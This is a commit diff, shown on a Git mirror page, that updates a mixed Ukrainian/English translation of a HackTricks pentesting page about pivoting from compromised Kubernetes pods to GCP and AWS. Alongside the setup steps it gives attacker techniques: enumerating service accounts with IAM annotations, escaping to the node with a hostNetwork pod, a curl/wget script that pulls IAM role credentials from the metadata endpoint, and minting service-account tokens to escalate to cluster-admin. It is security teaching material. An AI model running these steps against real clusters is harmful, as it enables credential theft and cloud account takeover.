gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-29 07:00:29 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-piv

Browse Source
This commit is contained in:
Translator
2025-08-28 18:02:25 +00:00
parent 44306c0d92
commit 3247e18be3
1 changed files with 73 additions and 53 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md
+73 -53
View File
@@ -4,62 +4,62 @@
## GCP
Якщо ви запускаєте кластер k8s всередині GCP, ви, напевно, захочете, щоб деякий додаток, що працює всередині кластера, мав доступ до GCP. Є 2 поширених способи зробити це:
Якщо ви запускаєте k8s cluster всередині GCP, ймовірно ви захочете, щоб деякий додаток у кластері мав доступ до GCP. Існує 2 поширених способи це зробити:
### Монтування ключів GCP-SA як секрету
### Mounting GCP-SA keys as secret
Поширений спосіб надати **доступ до kubernetes-додатку до GCP**:
Поширений спосіб надати **access to a kubernetes application to GCP** — це:
- Створити обліковий запис служби GCP
- Прив'язати до нього необхідні дозволи
- Завантажити json-ключ створеного SA
- Замонтувати його як секрет всередині пода
- Встановити змінну середовища GOOGLE_APPLICATION_CREDENTIALS, що вказує на шлях, де знаходиться json.
- Create a GCP Service Account
- Bind on it the desired permissions
- Download a json key of the created SA
- Mount it as a secret inside the pod
- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.
> [!WARNING]
> Тому, як **зловмисник**, якщо ви скомпрометували контейнер всередині пода, вам слід перевірити цю **змінну** **середовища** та **json** **файли** з обліковими даними GCP.
> Тому, як **attacker**, якщо ви компрометуєте контейнер всередині pod, вам слід перевірити наявність цієї **env** **variable** та **json** **files** з обліковими даними GCP.
### Прив'язка GSA json до KSA секрету
### Relating GSA json to KSA secret
Спосіб надати доступ до GSA для кластера GKE - це прив'язати їх таким чином:
Спосіб надати GSA доступ до GKE cluster — пов'язати їх таким чином:
- Створити обліковий запис служби Kubernetes в тому ж просторі імен, що й ваш кластер GKE, використовуючи наступну команду:
- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
```bash
Copy codekubectl create serviceaccount <service-account-name>
kubectl create serviceaccount <service-account-name>
```
- Створіть Kubernetes Secret, який містить облікові дані облікового запису служби GCP, до якого ви хочете надати доступ до кластера GKE. Ви можете зробити це за допомогою інструменту командного рядка `gcloud`, як показано в наступному прикладі:
- Створіть Kubernetes Secret, який містить облікові дані сервісного облікового запису GCP, якому ви хочете надати доступ до кластера GKE. Ви можете зробити це за допомогою інструменту командного рядка `gcloud`, як показано в наведеному прикладі:
```bash
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
```
- Прив'яжіть Kubernetes Secret до облікового запису служби Kubernetes за допомогою наступної команди:
- Прив'яжіть Kubernetes Secret до Kubernetes service account за допомогою наступної команди:
```bash
Copy codekubectl annotate serviceaccount <service-account-name> \
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> На **другому етапі** були встановлені **облікові дані GSA як секрет KSA**. Тоді, якщо ви можете **прочитати цей секрет** з **всередині** кластеру **GKE**, ви можете **ескалювати до цього облікового запису служби GCP**.
> У **другому кроці** було встановлено **credentials of the GSA as secret of the KSA**. Тож, якщо ви можете **read that secret** з **середини** **GKE** кластера, ви можете **escalate to that GCP service account**.
### GKE Workload Identity
З Workload Identity ми можемо налаштувати [обліковий запис служби Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/), щоб він діяв як [обліковий запис служби Google](https://cloud.google.com/iam/docs/understanding-service-accounts). Поди, що працюють з обліковим записом служби Kubernetes, автоматично аутентифікуються як обліковий запис служби Google при доступі до API Google Cloud.
За допомогою Workload Identity ми можемо налаштувати a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) так, щоб він діяв як a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods, що працюють з Kubernetes service account, автоматично автентифікуються як Google service account при доступі до Google Cloud APIs.
**Перший рядок кроків** для активації цієї поведінки - це **активувати Workload Identity в GCP** ([**кроки**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) та створити GCP SA, який ви хочете, щоб k8s представляв.
The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.
- **Активуйте Workload Identity** на новому кластері
- **Enable Workload Identity** на новому кластері
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **Створити/Оновити новий пул вузлів** (Кластери Autopilot не потребують цього)
- **Створити/Оновити новий nodepool** (Autopilot clusters не потребують цього)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- Створіть **GCP обліковий запис служби для наслідування** з K8s з дозволами GCP:
- Створіть **GCP Service Account to impersonate** з K8s з дозволами GCP:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
```
- **Підключіться** до **кластера** та **створіть** **обліковий запис служби** для використання
- **Підключіться** до **cluster** та **створіть** **service account** для використання
```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- Запустіть **pod** з **KSA** та перевірте **доступ** до **GSA:**
- Запустіть **pod** з **KSA** і перевірте **access** до **GSA:**
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
@@ -123,10 +123,10 @@ gcloud auth list
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> Як атакуючий всередині K8s, ви повинні **шукати SAs** з **анотацією `iam.gke.io/gcp-service-account`**, оскільки це вказує на те, що SA може отримати доступ до чогось у GCP. Іншим варіантом було б спробувати зловживати кожним KSA в кластері та перевірити, чи має він доступ.\
> З GCP завжди цікаво перерахувати зв'язки та дізнатися, **який доступ ви надаєте SAs всередині Kubernetes**.
> Як атакуючий всередині K8s вам слід **шукати SAs** з **`iam.gke.io/gcp-service-account` анотацією**, оскільки це вказує, що SA може отримати доступ до чогось у GCP. Інший варіант — спробувати зловживати кожним KSA в кластері й перевірити, чи має він доступ.\
> З боку GCP завжди корисно перерахувати bindings і знати, **який доступ ви надаєте SAs всередині Kubernetes**.
Це скрипт для легкого **ітерації по всіх визначеннях подів**, **шукаючи** цю **анотацію**:
Це скрипт, який дозволяє легко **перебирати всі визначення pods**, **шукаючи** ту **анотацію**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -139,11 +139,11 @@ done | grep -B 1 "gcp-service-account"
```
## AWS
### Kiam & Kube2IAM (IAM роль для Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
Застарілий спосіб надання IAM ролей Pods - це використання [**Kiam**](https://github.com/uswitch/kiam) або [**Kube2IAM**](https://github.com/jtblin/kube2iam) **сервера.** В основному, вам потрібно запустити **daemonset** у вашому кластері з **привілейованою IAM роллю**. Цей daemonset буде тим, хто надасть доступ до IAM ролей pods, які цього потребують.
Старий спосіб надати Pods IAM Roles — використовувати [**Kiam**](https://github.com/uswitch/kiam) або [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** По суті, вам потрібно запустити **daemonset** у вашому кластері з **kind of privileged IAM role**. Цей daemonset надаватиме доступ до IAM roles тим Pods, яким це необхідно.
По-перше, вам потрібно налаштувати **які ролі можуть бути доступні всередині простору імен**, і ви робите це за допомогою анотації всередині об'єкта простору імен:
Насамперед потрібно налаштувати **which roles can be accessed inside the namespace**, і це робиться за допомогою annotation всередині namespace object:
```yaml:Kiam
kind: Namespace
metadata:
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
Якщо простір імен налаштований з IAM ролями, які можуть мати Pods, ви можете **вказати роль, яку ви хочете в кожному визначенні pod, за допомогою чогось на зразок**:
Після того як namespace налаштовано з IAM roles, які можуть мати Pods, ви можете **вказати роль, яку ви хочете на кожному pod definition, наприклад**:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
@@ -171,12 +171,12 @@ annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> Як атакуючий, якщо ви **знайдете ці анотації** в подах або просторах імен, або сервер kiam/kube2iam, що працює (ймовірно, в kube-system), ви можете **вдаватись в будь-яку р**оль, яка вже **використовується подами**, і більше (якщо у вас є доступ до облікового запису AWS, перерахувати ролі).
> Як атакуючий, якщо ви **знайдете ці анотації** в pods або namespaces або якщо запущено сервер kiam/kube2iam (ймовірно в kube-system), ви можете **видавати себе за кожну роль**, яку вже **використовують pods**, і більше (якщо у вас є доступ до AWS — перелічіть roles).
#### Створити Pod з IAM роллю
#### Create Pod with IAM Role
> [!NOTE]
> IAM роль, яку потрібно вказати, повинна бути в тому ж обліковому записі AWS, що й роль kiam/kube2iam, і ця роль повинна мати можливість доступу до неї.
> IAM role, яку потрібно вказати, має бути в тому ж AWS account, що й роль kiam/kube2iam, і ця роль має мати до неї доступ.
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -192,14 +192,14 @@ image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### IAM Role для K8s Service Accounts через OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
Це **рекомендований спосіб від AWS**.
1. По-перше, вам потрібно [створити OIDC провайдер для кластера](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Потім ви створюєте IAM роль з дозволами, які буде вимагати SA.
3. Створіть [відносини довіри між IAM роллю та SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (або просторами імен, які надають доступ до ролі всім SA в просторі імен). _Відносини довіри в основному перевірятимуть ім'я OIDC провайдера, ім'я простору імен та ім'я SA_.
4. Нарешті, **створіть SA з анотацією, що вказує ARN ролі**, і контейнери, що працюють з цим SA, матимуть **доступ до токена ролі**. **Токен** **записується** в файл, а шлях вказується в **`AWS_WEB_IDENTITY_TOKEN_FILE`** (за замовчуванням: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
1. По-перше, потрібно [створити провайдера OIDC для кластера](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Після цього створіть IAM роль з дозволами, які знадобляться SA.
3. Створіть [доверчі відносини між IAM роллю та SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) за ім'ям (або між роллю та неймспейсами, що надають доступ усім SA в неймспейсі). _Доверчі відносини в основному перевіряють ім'я OIDC провайдера, ім'я namespace та ім'я SA_.
4. Нарешті, **створіть SA з анотацією, яка вказує ARN ролі**, і поди, що працюють під цим SA, матимуть **доступ до токена ролі**. **Токен** **записується** у файл, а шлях вказано в **`AWS_WEB_IDENTITY_TOKEN_FILE`** (за замовчуванням: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
@@ -216,27 +216,27 @@ kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
Щоб **отримати aws, використовуючи токен** з `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`, виконайте:
Щоб **отримати доступ до aws, використовуючи token** з `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`, виконайте:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> Як атакуючий, якщо ви можете перерахувати кластер K8s, перевірте **облікові записи служб з цією анотацією**, щоб **ескалювати до AWS**. Для цього просто **exec/create** **pod**, використовуючи один з **привілейованих облікових записів служб IAM**, і вкрадіть токен.
> Як атакуючий, якщо ви можете перерахувати K8s кластер, перевірте наявність **service accounts with that annotation** щоб **escalate to AWS**. Для цього просто **exec/create** **pod** використовуючи один з IAM **privileged service accounts** і вкрадіть token.
>
> Більше того, якщо ви всередині pod, перевірте змінні середовища, такі як **AWS_ROLE_ARN** та **AWS_WEB_IDENTITY_TOKEN.**
> Крім того, якщо ви всередині pod, перевірте env variables такі як **AWS_ROLE_ARN** та **AWS_WEB_IDENTITY_TOKEN.**
> [!CAUTION]
> Іноді **Політика довіри ролі** може бути **погано налаштована**, і замість того, щоб надати доступ до AssumeRole очікуваному обліковому запису служби, вона надає його **всім обліковим записам служб**. Тому, якщо ви здатні записати анотацію на контрольованому обліковому записі служби, ви можете отримати доступ до ролі.
> Іноді **Turst Policy of a role** може бути **bad configured** і замість надання AssumeRole доступу очікуваному service account, воно надається **all the service accounts**. Тому, якщо ви можете записати annotation у контрольований service account, ви зможете отримати доступ до role.
>
> Перевірте **наступну сторінку для отримання додаткової інформації**:
> Перегляньте **following page for more information**:
{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
### Знайти Pods a SAs з IAM ролями в кластері
### Знайти Pods та SAs з IAM Roles у кластері
Це скрипт для легкого **ітерації по всіх pod і визначення sas**, **шукаючи** цю **анотацію**:
Це скрипт для простого **iterate over the all the pods and sas** definitions **looking** for that **annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -253,19 +253,26 @@ echo ""
done
done | grep -B 1 "amazonaws.com"
```
### Node IAM Role
### Node IAM Role to cluster-admin
Попередній розділ стосувався того, як вкрасти IAM ролі за допомогою подів, але зверніть увагу, що **вузол** K8s кластера буде **екземпляром всередині хмари**. Це означає, що вузол, ймовірно, **матиме нову IAM роль, яку ви можете вкрасти** (_зверніть увагу, що зазвичай всі вузли K8s кластера мають однакову IAM роль, тому може не мати сенсу перевіряти кожен вузол_).
Попередній розділ розповідав про те, як вкрасти IAM Roles за допомогою pods, але зауважте, що **Node of the** K8s cluster фактично є **instance inside the cloud**. Це означає, що Node, швидше за все, матиме **IAM role you can steal** (_зауважте, що зазвичай усі nodes K8s кластера матимуть однаковий IAM role, тож може не мати сенсу перевіряти кожний node_).
Однак є важлива вимога для доступу до метаданих з вузла, вам потрібно бути на вузлі (ssh сесія?) або принаймні мати ту ж мережу:
Щоб отримати доступ до node metadata endpoint, вам потрібно:
- Бути в pod і мати metadata endpoint налаштований щонайменше на 2 tcp hops. Це найпоширеніша неправильна конфігурація, оскільки зазвичай різні pods у кластері потребують доступу до metadata endpoint, щоб не ламатися, і декілька компаній просто дозволяють доступ до metadata endpoint для всіх pods у кластері.
- Бути в pod з увімкненим `hostNetwork`.
- Втекти з контейнера на node і напряму звернутися до metadata endpoint.
(Зауважте, що metadata endpoint завжди знаходиться за адресою 169.254.169.254).
Щоб **escape to the node** ви можете використати наступну команду, щоб запустити pod з увімкненим `hostNetwork`:
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### Вкрасти токен IAM ролі
### Steal IAM Role Token
Раніше ми обговорювали, як **прикріпити IAM ролі до Pods** або навіть як **втекти до вузла, щоб вкрасти IAM роль**, яку екземпляр має прикріпленою до нього.
Раніше ми обговорювали, як **attach IAM Roles to Pods** або навіть як **escape to the Node to steal the IAM Role**, який прикріплений до інстансу.
Ви можете використовувати наступний скрипт, щоб **вкрасти** ваші нові важко зароблені **облікові дані IAM ролі**:
Ви можете використати наступний скрипт, щоб **steal** ваші нові важко здобуті **IAM role credentials**:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
@@ -276,6 +283,19 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE
fi
fi
```
### Privesc to cluster-admin
У підсумку: якщо можливо отримати доступ до **EKS Node IAM role** з pod, то можливо **compromise the full kubernetes cluster**.
Для детальнішої інформації перегляньте [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Коротко, стандартна IAM EKS роль, яка призначається EKS nodes за замовчуванням, всередині має роль `system:node` в межах kubernetes cluster. Ця роль дуже цікава, хоча обмежена kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
Однак node завжди може **generate tokens for service accounts**, що працюють у pods всередині node. Тому, якщо node запускає pod з привілейованим service account, node може згенерувати token для цього service account і використати його, щоб impersonate цей service account, як у:
```bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
```
## Посилання
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)